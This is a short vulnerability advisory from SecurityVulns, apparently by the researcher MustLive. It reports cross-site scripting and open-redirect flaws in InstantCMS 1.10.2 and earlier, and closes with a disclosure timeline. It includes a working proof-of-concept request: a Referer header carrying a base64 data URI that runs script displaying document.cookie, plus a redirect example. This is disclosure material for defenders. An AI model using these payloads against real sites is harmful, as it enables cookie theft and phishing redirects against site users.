XSS and Redirector vulnerabilities in InstantCMS

2013-10-01T00:00:00
ID SECURITYVULNS:DOC:29817
Type securityvulns
Reporter Securityvulns
Modified 2013-10-01T00:00:00

Description

Hello 3APA3A!

These are Cross-Site Scripting and Redirector vulnerabilities in InstantCMS.


Affected products:

Vulnerable are InstantCMS 1.10.2 and previous versions.


Affected vendors:

InstantSoft http://www.instantcms.ru


Details:

Cross-Site Scripting (WASC-08):

GET request to http://site/modules/mod_template/set.php with setting Referer header.

Referer: data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B

Redirector (URL Redirector Abuse) (WASC-38):

GET request to http://site/modules/mod_template/set.php with setting Referer header.

Referer: http://websecurity.com.ua


Timeline:

2013.07.14 - found multiple vulnerabilities in InstantCMS 1.10.1. 2013.07.17 - announced at my site. 2013.07.19 - informed developers about first part of the vulnerabilities. Ignored. 2013.07.31 - informed developers about another part of the vulnerabilities. Answered, but refused to fix. 2013.08.02 - reminded developers about first letter with holes and explained why to fix them. 2013.08.02 - developers released InstantCMS 1.10.2 without fixing any informed vulnerabilities. Both above-mentioned holes work in it. 2013.09.17 - disclosed at my site (http://websecurity.com.ua/6661/).

Best wishes & regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua